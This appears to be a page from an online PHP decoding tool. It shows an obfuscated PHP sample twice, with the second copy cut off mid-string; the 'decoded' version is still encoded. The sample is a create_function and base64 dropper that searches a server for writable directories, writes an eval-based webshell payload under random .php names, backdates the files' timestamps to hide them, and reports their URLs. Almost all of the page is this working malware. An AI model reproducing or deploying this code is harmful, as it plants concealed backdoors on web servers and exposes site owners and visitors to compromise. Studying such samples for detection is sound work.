Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php create_function('', base64_decode('fSBpZighZGVmaW5lZCgiUEhQX0VPTCIpKQp7CiAgICBkZWZ..

Decoded Output download

 
<?php create_function('', base64_decode('fSBpZighZGVmaW5lZCgiUEhQX0VPTCIpKQp7CiAgICBkZWZpbmUoIlBIUF9FT0wiLCAiXG4iKTsKfQoKaWYoIWRlZmluZWQoIkRJUkVDVE9SWV9TRVBBUkFUT1IiKSkKewogICAgZGVmaW5lKCJESVJFQ1RPUllfU0VQQVJBVE9SIiwgIi8iKTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDEwKQp7CiAgICAkY2hhcmFjdGVycyA9ICcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonOwogICAgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgJHJhbmRvbVN0cmluZyA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCAkY2hhcmFjdGVyc0xlbmd0aCAtIDEpXTsKICAgIH0KICAgIHJldHVybiAkcmFuZG9tU3RyaW5nIC4gIi5waHAiOwp9CgokcGF5bG9hZF9maWxlID0gIlBEOXdhSEFOQ2cwS0RRcGxkbUZzS0NKY2Jsd2taR2R5WlhWelpHa2dQU0JwYm5SMllXd29YMTlNU1U1RlgxOHBJQ29nTXpNM095SXBPdzBLRFFva1lTQTlJQ0kzVm1SeVZDdE9SMFpRTVdWeFpqbG9hVU5KWTB0M1NFWnFOME5zU1ZGb01rSmtNVlkyWWtsMGFGWmFRekZLYnpSck1sRlRkbnBTTWpZM05ISmhSaTg1TkhwRWF6YzRSMHhQYjNVMVZ6WlZiekpOTjFwc2Vub3pNMDF1VkhNelNucDZaMVJ6ZVZOc2MyRTJOelJEU1ZocWFGSlBkRkU1TldaWU1YcHZMMWNyTDBsaWFFOU9aMnBOVDFOcmNVSnhVbUp1Wm1ad2RtTlFkVzFpZEVsbFFtYzBRMlprV2tGUlpFMVBkV2cwTTA5a1NrczFNbEZtTTB0NVUyRk9TV2cyTnpSMmNYaFhVa0Y2ZGtabkwxZDRjVWhCY0VjelUyeHdUbG93TTJ3MVl5OTJhbk5xVGtOYVRrNTNlbTV1Ukd4b2QwRmlTREpWWlhsRGRsY3hla1l2Y2xJMFZUVm9PWHAzY0hsRFprSnVWRU5vVFU5RVNsVXJiM1JFSzBob2NFbHBUMnM0Y0cxQ09IVTBVazVNTmpjMGFWcGhlbkJFUnpkTlFqSlNjM2RPVWpaNU1WSmxiMlJzV2tselRuWk1ZWFoyTmpjMGVIbFZkSFZLTTBwMWVWZDFTWGROZUhwRVNTOXlNVGhrVGpWQ1lVSnROM0pEWm1OdVJraEtPR3gwUmxWT2ExZEVTbEZuVTJ0YVNIWnFLM1pUYm00eUswMDRUMHB6T0haeWFTdHFVaXRsTWxsWlZqY3JkbFJxT1dObFpUbDJZbXMxTjJJMk5WaGFlR1pZYUhaSVJFdzVOMnM1Vnk5dU56azBNazF0SzNGQ2MwRmFSbTk1WTA5Q05qYzBPRzFOVTNCakwyaEhVMDVaYW5SVFdUbEJZMnRtUjJKTGMxRlpXbkZ3ZUV0eVNFWTJOelIxWlhvMVkxaDJNelpzUkhOQ2VVbGhURkpQWVU5WlJFZHFkM0F6VjJnM2JWbFJVbTByV0hkVFZsSlBjbmxMVms1amVVdGtMMHcyWlhGc2RGaHRiSE5LZUdWYVZucE1TVElyYlhJME1pOVlkelphTURZNFIxQnZPR3AyU0dSaGExbHpha1I2VjJ0UlNIaFFSRzlOUWxVeVdWbDFZMmxZUjAxMUwweFdka1JJUm5CT1FYQjRkemx5UTBkVU4yODVhMjFVU0hsR1FsQk1XV2d4TDNZeFF6ZHhWMjAyVm5sek5ERmpNMmhoZVhVMmRXbENUSHBrYUhSdE9ETm1OVEExU25KelVHMUhRbVJPYVVweFMwRXJOMEV2Umt0RFR6ZGlaa2szU0ZodFpFUjFWbFV6ZWxwdVpETnZiRTg1VkdoTFNTOXpOamMwTTJOeFYyMVhPVFZZZURSTVMzaFpaR056VmxOYVZXSkVkWFZKWlhJNVRtOHhkVTU2YWxjME9DOUNRV1JzY1d4MlZqWnpVRkl5YVdwaldreDViV05TUnpsTldsY3dXR3BIVkRKamVqWTNOR0ZVVjJObmJXWkVZVXMwYmtFd1IzcE9UakU0YkdkUlEyOWhibkV2ZFhBd1RGRnFOakZqUmxwSlVHaHlUMnRKYUdGMlpVcEpWMmhpZDBNNFNtVlhNR05ZUjBsM00yVXJSalo0UjJ4UmNYRjVhWFJSYlRZeFlVdHVaRUZZWjFOVVlVMXNOamMwSzJ0UFpVRTBaWElyUjJGelpDOWtUWHBSUm10TWJsUlZTalp0WjJ4UFVDOTVhMHhuYUZKVlZXRnZNamM1YjI1d2RrdEtTVkpEUm10SmVUQjFOV1pSTldwTFN6TmxUbXN6SzFwMmRGSlpWVk14ZEhwU1FrOUxSRlJXYmtneWRsQm5TazVHYzFCVk1XUm5WbXBSWVVkWk5VTm5TMEl4UWtaMFZVbFhOM2MwTmpjME5WVkhOamMwVGpWdGFXbG9WRVJHVG1GcVZYTlJNbk5zT0c4MFpuVkxlbUZvVTIxcVpUSTVjMEYwYm5ock9HbENZVXAzY21ab1dXcDRiVWxwZFhSdEswWnJOa2N4VTNVM2FpdGxNR0p1WXlzdkwwRlBSMEpYWm5FeVQzRlRTSE5hTlRneWFWaERXR2NyUkVJM2FHWTBaalJQT1hrMk56UTJOelIxY21jdmIxRlJVUzlFWkV4aVRrSm5aM2RRYVVoUlNrTTRTVWhQYTBacFFVUmthR2RCUnpZM05FRlpaMEpxUVVkUlFWcFJRbTFJU21GWlZFRnBXbFZuVHpZM05GUkJhVm8yTnpSRVNqYzVabUZaU1VST1FscHZURTFvUmt0eVYzcFpUa2xCZEd0R2MyZHphMFpyWjNONVFtdFJZMmxEYTBGVmFFY3djSFEwUjNwbllrOXJUR05FV25kT2JrUXljWGhMYUVSVE5qYzBZbEZxTUVrNVlqZGhXbEJ0WmpoTGMyb3hSbFk1U1dsd1lUSnBiVk5KTlVreFpIVjFlVEpEWkRad1pXTm1jRzFvUmpjMGVsTmxTbk15WW1Gc2N6SnpZbVJyV2pKQ1ZrdHljMEZwVmxKcVpGRjFObVEyWm00cmRtczJRV2RpZGt3MVRHczFabk5aY0ZRd1lUWTNORlZXU2pkVU9HOWpSMFJDWVhWVGJIUjNUVVp1Tm1Sdk5Ya3dhVlpIU2xaa2IxcFdOM2h3UjNrclNVRjJORGxyU2xscFJtMTJjR1pFVWsxYVdVMDJOelJaZVhabFZteDZZVEpITmlzeFNHSjZjekozTTFNM1dXWm1RVWhVY2xwbFlXSnlNMWs1UkhKb1NqaDJMM05qTW5KTFptTlpOa2RWYVVoYVQzVXlaM2N6TTFGUVJFb3lWbVJZUkc4MVVITmljSEJzVERjeFNreHpSRGxKWmswMk4xTjBRelkzTkdsUVUwUnNVRnBPV25aaVpqTXZSMkZUVFZJMFVWYzVNMEphYWl0RU1XMWFhMFJrWW1ZaU93MEtKR0VnUFNCemRISmZjbVZ3YkdGalpTZ2taR2R5WlhWelpHa3NJQ0pGSWl3Z0pHRXBPdzBLWlhaaGJDQW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb0pHRXBLU2s3IjsKJHBheWxvYWRfbmFtZSA9ICIiOwoKc3JhbmQodGltZSgpKTsKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwpmdW5jdGlvbiBjb21wYXJlcigkYSwgJGIpCnsKICAgIHJldHVybiBzdHJsZW4oJGEpLXN0cmxlbigkYik7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7CiAgICBmdW5jdGlvbiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsICRkYXRhKSB7CiAgICAgICAgJGYgPSBAZm9wZW4oJGZpbGVuYW1lLCAndycpOwogICAgICAgIGlmICghJGYpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRieXRlcyA9IGZ3cml0ZSgkZiwgJGRhdGEpOwogICAgICAgICAgICBmY2xvc2UoJGYpOwogICAgICAgICAgICByZXR1cm4gJGJ5dGVzOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gR2V0UGF0aERpZmYoJGJhc2VfcGF0aCwgJGZ1bGxfcGF0aCkKewogICAgJHBvcyA9IHN0cnBvcygkZnVsbF9wYXRoLCAkYmFzZV9wYXRoKTsKCiAgICBpZiAoJHBvcyA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgfQoKICAgIHJldHVybiBzdWJzdHIoJGZ1bGxfcGF0aCwgJHBvcyArIHN0cmxlbigkYmFzZV9wYXRoKSk7Cn0KCmZ1bmN0aW9uIEdldFdyaXRhYmxlRGlycygpCnsKICAgICRyZXMgPSBBcnJheSgpOwoKICAgICRhbmFseXN5c19xdWV1ZSA9IEFycmF5KCk7CgogICAgJGFuYWx5c3lzX3F1ZXVlW10gPSBHZXREb2NSb290KCk7CgogICAgJHNlbGZfcGF0aCA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgIHdoaWxlICgoJHNsYXNoID0gc3RycnBvcygkc2VsZl9wYXRoLCBESVJFQ1RPUllfU0VQQVJBVE9SKSkgIT09IEZBTFNFKQogICAgewogICAgICAgICRzZWxmX3BhdGggPSBzdWJzdHIoJHNlbGZfcGF0aCwgMCwgJHNsYXNoKTsKCiAgICAgICAgaWYgKCRzZWxmX3BhdGggPT0gR2V0RG9jUm9vdCgpKQogICAgICAgIHsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgICAgICBpZiAoc3RybGVuKCRzZWxmX3BhdGgpKQogICAgICAgIHsKICAgICAgICAgICAgJGFuYWx5c3lzX3F1ZXVlW10gPSAkc2VsZl9wYXRoOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoICgkYW5hbHlzeXNfcXVldWUgYXMgJGN1cnJlbnRfZGlyKQogICAgewogICAgICAgIGlmICghaW5fYXJyYXkoJGN1cnJlbnRfZGlyLCAkcmVzKSkKICAgICAgICB7CiAgICAgICAgICAgICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCBHZXREaXJlY3RvcnlMaXN0KCRjdXJyZW50X2RpcikpOwogICAgICAgIH0KICAgIH0KICAgICRyZXMgPSBhcnJheV9tZXJnZSgkYW5hbHlzeXNfcXVldWUsICRyZXMpOwoKICAgIHJldHVybiBDaGVja1dyaXRhYmxlKGFycmF5X3VuaXF1ZSgkcmVzKSk7Cn0KCmZ1bmN0aW9uIENoZWNrV3JpdGFibGUoJGRpcl9saXN0KQp7CiAgICAkZGlyX2xpc3Rfd3JpdGFibGUgPSBBcnJheSgpOwoKICAgIGZvcmVhY2ggKCRkaXJfbGlzdCBhcyAkZGlyKQogICAgewogICAgICAgIGlmIChAaXNfd3JpdGFibGUoJGRpcikgPT0gVFJVRSkKICAgICAgICB7CiAgICAgICAgICAgICRkaXJfbGlzdF93cml0YWJsZVtdID0gJGRpcjsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICRkaXJfbGlzdF93cml0YWJsZTsKfQoKZnVuY3Rpb24gR2V0RGlyZWN0b3J5TGlzdCgkZGlyLCAkZGVwdGg9MTAwMCkKewoKICAgICRyZXN1bHQgPSBhcnJheSgpOwogICAgJGRpcl9jb3VudCA9IDA7CgogICAgaWYgKCRkZXB0aCA9PSAwKQogICAgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgICRkaXIgPSBzdHJsZW4oJGRpcikgPT0gMSA/ICRkaXIgOiBydHJpbSgkZGlyLCAnXFwvJyk7CiAgICAkaCA9IEBvcGVuZGlyKCRkaXIpOwogICAgaWYgKCRoID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKICAgIHsKICAgICAgICBpZiAoJGYgIT09ICcuJyBhbmQgJGYgIT09ICcuLicpCiAgICAgICAgewogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAiJGRpci8kZiI7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGN1cnJlbnRfZGlyKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGRpcl9jb3VudCArPSAxOwoKICAgICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID49ICRkZXB0aCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkcmVzdWx0W10gPSAkY3VycmVudF9kaXI7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gYXJyYXlfbWVyZ2UoJHJlc3VsdCwgR2V0RGlyZWN0b3J5TGlzdCgkY3VycmVudF9kaXIsICRkZXB0aCAvIDEwKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgY2xvc2VkaXIoJGgpOwoKICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBHZXREb2NSb290KCkKewogICAgJGRvY3Jvb3RfZW5kID0gc3RycnBvcygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKICAgIGlmICgkZG9jcm9vdF9lbmQgPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgfQogICAgZWxzZWlmICgkZG9jcm9vdF9lbmQgPT09IDApCiAgICB7CiAgICAgICAgcmV0dXJuICIvIjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgMCwgJGRvY3Jvb3RfZW5kKTsKICAgIH0KfQoKZnVuY3Rpb24gR2V0UGF5bG9hZCgkcGF5bG9hZCkKewogICAgJGN1cnJlbnRfcGF5bG9hZCA9IGJhc2U2NF9kZWNvZGUoJHBheWxvYWQpOwoKICAgIHJldHVybiAkY3VycmVudF9wYXlsb2FkOwp9CgpmdW5jdGlvbiBXcml0ZVBheWxvYWQoJHBhdGgsICRwYXlsb2FkKQp7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkKICAgIHsKICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIEdldFBheWxvYWQoJHBheWxvYWQpKSAhPSBGQUxTRSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgIH0KCiAgICB9CgogICAgcmV0dXJuIEZBTFNFOwp9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKIyBnZXQgYmFzZSBsb2NhbCBhbmQgcmVtb3RlIHBhdGgKJGJhc2Vfd3d3X3BhdGggPSAkaG9zdCA9IEAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiRiYXNlX2xvY2FsX3BhdGggPSBHZXREb2NSb290KCk7CgppZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvLmh0YWNjZXNzIikpKQp7CiAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXgucGhwIikpKQogICAgewogICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi9pbmRleC5odG1sIikpKQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy4uIikpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoKSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ10gPSB0aW1lKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCiRiYXNlX2xvY2FsX3BhdGhfdGltZSA9ICRiYXNlX2xvY2FsX3BhdGhfdGltZVsnbXRpbWUnXTsKCiRkaXJfbGlzdF93cml0YWJsZSA9IEdldFdyaXRhYmxlRGlycygpOwoKaWYgKGNvdW50KCRkaXJfbGlzdF93cml0YWJsZSkgPT0gMCkKewogICAgZWNobyAiVVJMI1NUQVRVU19VTldSSVRBQkxFIjsKICAgIGV4aXQoKTsKfQoKdXNvcnQoJGRpcl9saXN0X3dyaXRhYmxlLCAnY29tcGFyZXInKTsgIyBzb3J0IGRpcmVjdG9yeSBieSBsZW4KCiRsaXN0X3dyaXRhYmxlID0gQXJyYXkoKTsKJGxpc3Rfd3JpdGFibGVbXSA9ICRkaXJfbGlzdF93cml0YWJsZVswXTsKJGxpc3Rfd3JpdGFibGVbXSA9ICRkaXJfbGlzdF93cml0YWJsZVtyYW5kKDAsc2l6ZW9mKCRkaXJfbGlzdF93cml0YWJsZSkpXTsKJGdvb2QgPSBGQUxTRTsKJGdvb2RfY291bnRlciA9IDA7CiMgdHJ5IHRvIHVwbG9hZAokbWF4X3RyeWVzID0gc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDAgPyA1IDogMTsKZm9yZWFjaCAoJGxpc3Rfd3JpdGFibGUgYXMgJGN1cnJlbnRfZGlyKQp7CiAgICAvLyBpZiBwYXlsb2FkIG5hbWUgaXMgc2V0LCBubyBtb3JlIG9uZSB0cnkgdG8gdXBsb2FkIG9uIGN1cnJlbnQgZGlyCiAgICAvL2ZvciAoJGk9MDsgJGkgPCAkbWF4X3RyeWVzOyAkaSsrKQogICAgewogICAgICAgIGlmIChzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCkKICAgICAgICB7CiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9IGdlbmVyYXRlUmFuZG9tU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9ICRwYXlsb2FkX25hbWU7CiAgICAgICAgfQoKICAgICAgICAkZnVsbF9wYXlsb2FkX25hbWUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRlbXBfcGF5bG9hZF9uYW1lOwoKICAgICAgICAkdXJpX3BhdGggPSBHZXRQYXRoRGlmZigkYmFzZV9sb2NhbF9wYXRoLCAkZnVsbF9wYXlsb2FkX25hbWUpOwogICAgICAgIGlmIChzdHJwb3MoJHVyaV9wYXRoLCAkdGVtcF9wYXlsb2FkX25hbWUpID09PSBmYWxzZSkKICAgICAgICB7CiAgICAgICAgICAgICR1cmlfcGF0aCA9ICR1cmlfcGF0aCAuICIvIiAgLiAkdGVtcF9wYXlsb2FkX25hbWU7CiAgICAgICAgfQogICAgICAgICRmdWxsX3VyaSA9ICRiYXNlX3d3d19wYXRoIC4gKHN0cnBvcygkdXJpX3BhdGgsICIvIikgPT0gMCA/ICR1cmlfcGF0aCA6ICIvIi4kdXJpX3BhdGgpOwoKICAgICAgICBpZiAoV3JpdGVQYXlsb2FkKCRmdWxsX3BheWxvYWRfbmFtZSwgJHBheWxvYWRfZmlsZSkpCiAgICAgICAgewogICAgICAgICAgICB0b3VjaCgkZnVsbF9wYXlsb2FkX25hbWUsICRiYXNlX2xvY2FsX3BhdGhfdGltZSk7IC8vIHNldCBsYXN0IG1vZGlmaWNhdGlvbiB0aW1lIGFzIHJvb3QgZm9sZGVyCiAgICAgICAgICAgIGNobW9kKCRmdWxsX3BheWxvYWRfbmFtZSwgMDc1NSk7CiAgICAgICAgICAgIGVjaG8gIlVSTCNodHRwOi8vIiAuICRmdWxsX3VyaSAuIFBIUF9FT0w7CiAgICAgICAgICAgICRnb29kPVRSVUU7CiAgICAgICAgICAgICRnb29kX2NvdW50ZXIrKzsKICAgICAgICAgICAgaWYgKCRnb29kX2NvdW50ZXIgPjEpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKICAgICAgICAgICAgICAgIGVjaG8gIiNDQ0NVUkwiOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CmlmKCEkZ29vZCkKICAgIGVjaG8gIlVSTCNTVEFUVVNfQ0FOVFVQTE9BRCNDQ0NVUkwiOwplY2hvICIjQ0NDVVJMIjsKLy91bmxpbmsoImRmYW9uZnBma3dnLnBocCIpOwpleGl0KCk7IHs=')); ?>

Did this file decode correctly?

Original Code


<?php create_function('', base64_decode('fSBpZighZGVmaW5lZCgiUEhQX0VPTCIpKQp7CiAgICBkZWZpbmUoIlBIUF9FT0wiLCAiXG4iKTsKfQoKaWYoIWRlZmluZWQoIkRJUkVDVE9SWV9TRVBBUkFUT1IiKSkKewogICAgZGVmaW5lKCJESVJFQ1RPUllfU0VQQVJBVE9SIiwgIi8iKTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDEwKQp7CiAgICAkY2hhcmFjdGVycyA9ICcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonOwogICAgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgJHJhbmRvbVN0cmluZyA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCAkY2hhcmFjdGVyc0xlbmd0aCAtIDEpXTsKICAgIH0KICAgIHJldHVybiAkcmFuZG9tU3RyaW5nIC4gIi5waHAiOwp9CgokcGF5bG9hZF9maWxlID0gIlBEOXdhSEFOQ2cwS0RRcGxkbUZzS0NKY2Jsd2taR2R5WlhWelpHa2dQU0JwYm5SMllXd29YMTlNU1U1RlgxOHBJQ29nTXpNM095SXBPdzBLRFFva1lTQTlJQ0kzVm1SeVZDdE9SMFpRTVdWeFpqbG9hVU5KWTB0M1NFWnFOME5zU1ZGb01rSmtNVlkyWWtsMGFGWmFRekZLYnpSck1sRlRkbnBTTWpZM05ISmhSaTg1TkhwRWF6YzRSMHhQYjNVMVZ6WlZiekpOTjFwc2Vub3pNMDF1VkhNelNucDZaMVJ6ZVZOc2MyRTJOelJEU1ZocWFGSlBkRkU1TldaWU1YcHZMMWNyTDBsaWFFOU9aMnBOVDFOcmNVSnhVbUp1Wm1ad2RtTlFkVzFpZEVsbFFtYzBRMlprV2tGUlpFMVBkV2cwTTA5a1NrczFNbEZtTTB0NVUyRk9TV2cyTnpSMmNYaFhVa0Y2ZGtabkwxZDRjVWhCY0VjelUyeHdUbG93TTJ3MVl5OTJhbk5xVGtOYVRrNTNlbTV1Ukd4b2QwRmlTREpWWlhsRGRsY3hla1l2Y2xJMFZUVm9PWHAzY0hsRFprSnVWRU5vVFU5RVNsVXJiM1JFSzBob2NFbHBUMnM0Y0cxQ09IVTBVazVNTmpjMGFWcGhlbkJFUnpkTlFqSlNjM2RPVWpaNU1WSmxiMlJzV2tselRuWk1ZWFoyTmpjMGVIbFZkSFZLTTBwMWVWZDFTWGROZUhwRVNTOXlNVGhrVGpWQ1lVSnROM0pEWm1OdVJraEtPR3gwUmxWT2ExZEVTbEZuVTJ0YVNIWnFLM1pUYm00eUswMDRUMHB6T0haeWFTdHFVaXRsTWxsWlZqY3JkbFJxT1dObFpUbDJZbXMxTjJJMk5WaGFlR1pZYUhaSVJFdzVOMnM1Vnk5dU56azBNazF0SzNGQ2MwRmFSbTk1WTA5Q05qYzBPRzFOVTNCakwyaEhVMDVaYW5SVFdUbEJZMnRtUjJKTGMxRlpXbkZ3ZUV0eVNFWTJOelIxWlhvMVkxaDJNelpzUkhOQ2VVbGhURkpQWVU5WlJFZHFkM0F6VjJnM2JWbFJVbTByV0hkVFZsSlBjbmxMVms1amVVdGtMMHcyWlhGc2RGaHRiSE5LZUdWYVZucE1TVElyYlhJME1pOVlkelphTURZNFIxQnZPR3AyU0dSaGExbHpha1I2VjJ0UlNIaFFSRzlOUWxVeVdWbDFZMmxZUjAxMUwweFdka1JJUm5CT1FYQjRkemx5UTBkVU4yODVhMjFVU0hsR1FsQk1XV2d4TDNZeFF6ZHhWMjAyVm5sek5ERmpNMmhoZVhVMmRXbENUSHBrYUhSdE9ETm1OVEExU25KelVHMUhRbVJPYVVweFMwRXJOMEV2Umt0RFR6ZGlaa2szU0ZodFpFUjFWbFV6ZWxwdVpETnZiRTg1VkdoTFNTOXpOamMwTTJOeFYyMVhPVFZZZURSTVMzaFpaR056VmxOYVZXSkVkWFZKWlhJNVRtOHhkVTU2YWxjME9DOUNRV1JzY1d4MlZqWnpVRkl5YVdwaldreDViV05TUnpsTldsY3dXR3BIVkRKamVqWTNOR0ZVVjJObmJXWkVZVXMwYmtFd1IzcE9UakU0YkdkUlEyOWhibkV2ZFhBd1RGRnFOakZqUmxwSlVHaHlUMnRKYUdGMlpVcEpWMmhpZDBNNFNtVlhNR05ZUjBsM00yVXJSalo0UjJ4UmNYRjVhWFJSYlRZeFlVdHVaRUZZWjFOVVlVMXNOamMwSzJ0UFpVRTBaWElyUjJGelpDOWtUWHBSUm10TWJsUlZTalp0WjJ4UFVDOTVhMHhuYUZKVlZXRnZNamM1YjI1d2RrdEtTVkpEUm10SmVUQjFOV1pSTldwTFN6TmxUbXN6SzFwMmRGSlpWVk14ZEhwU1FrOUxSRlJXYmtneWRsQm5TazVHYzFCVk1XUm5WbXBSWVVkWk5VTm5TMEl4UWtaMFZVbFhOM2MwTmpjME5WVkhOamMwVGpWdGFXbG9WRVJHVG1GcVZYTlJNbk5zT0c4MFpuVkxlbUZvVTIxcVpUSTVjMEYwYm5ock9HbENZVXAzY21ab1dXcDRiVWxwZFhSdEswWnJOa2N4VTNVM2FpdGxNR0p1WXlzdkwwRlBSMEpYWm5FeVQzRlRTSE5hTlRneWFWaERXR2NyUkVJM2FHWTBaalJQT1hrMk56UTJOelIxY21jdmIxRlJVUzlFWkV4aVRrSm5aM2RRYVVoUlNrTTRTVWhQYTBacFFVUmthR2RCUnpZM05FRlpaMEpxUVVkUlFWcFJRbTFJU21GWlZFRnBXbFZuVHpZM05GUkJhVm8yTnpSRVNqYzVabUZaU1VST1FscHZURTFvUmt0eVYzcFpUa2xCZEd0R2MyZHphMFpyWjNONVFtdFJZMmxEYTBGVmFFY3djSFEwUjNwbllrOXJUR05FV25kT2JrUXljWGhMYUVSVE5qYzBZbEZxTUVrNVlqZGhXbEJ0WmpoTGMyb3hSbFk1U1dsd1lUSnBiVk5KTlVreFpIVjFlVEpEWkRad1pXTm1jRzFvUmpjMGVsTmxTbk15WW1Gc2N6SnpZbVJyV2pKQ1ZrdHljMEZwVmxKcVpGRjFObVEyWm00cmRtczJRV2RpZGt3MVRHczFabk5aY0ZRd1lUWTNORlZXU2pkVU9HOWpSMFJDWVhWVGJIUjNUVVp1Tm1Sdk5Ya3dhVlpIU2xaa2IxcFdOM2h3UjNrclNVRjJORGxyU2xscFJtMTJjR1pFVWsxYVdVMDJOelJaZVhabFZteDZZVEpITmlzeFNHSjZjekozTTFNM1dXWm1RVWhVY2xwbFlXSnlNMWs1UkhKb1NqaDJMM05qTW5KTFptTlpOa2RWYVVoYVQzVXlaM2N6TTFGUVJFb3lWbVJZUkc4MVVITmljSEJzVERjeFNreHpSRGxKWmswMk4xTjBRelkzTkdsUVUwUnNVRnBPV25aaVpqTXZSMkZUVFZJMFVWYzVNMEphYWl0RU1XMWFhMFJrWW1ZaU93MEtKR0VnUFNCemRISmZjbVZ3YkdGalpTZ2taR2R5WlhWelpHa3NJQ0pGSWl3Z0pHRXBPdzBLWlhaaGJDQW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb0pHRXBLU2s3IjsKJHBheWxvYWRfbmFtZSA9ICIiOwoKc3JhbmQodGltZSgpKTsKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwpmdW5jdGlvbiBjb21wYXJlcigkYSwgJGIpCnsKICAgIHJldHVybiBzdHJsZW4oJGEpLXN0cmxlbigkYik7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7CiAgICBmdW5jdGlvbiBm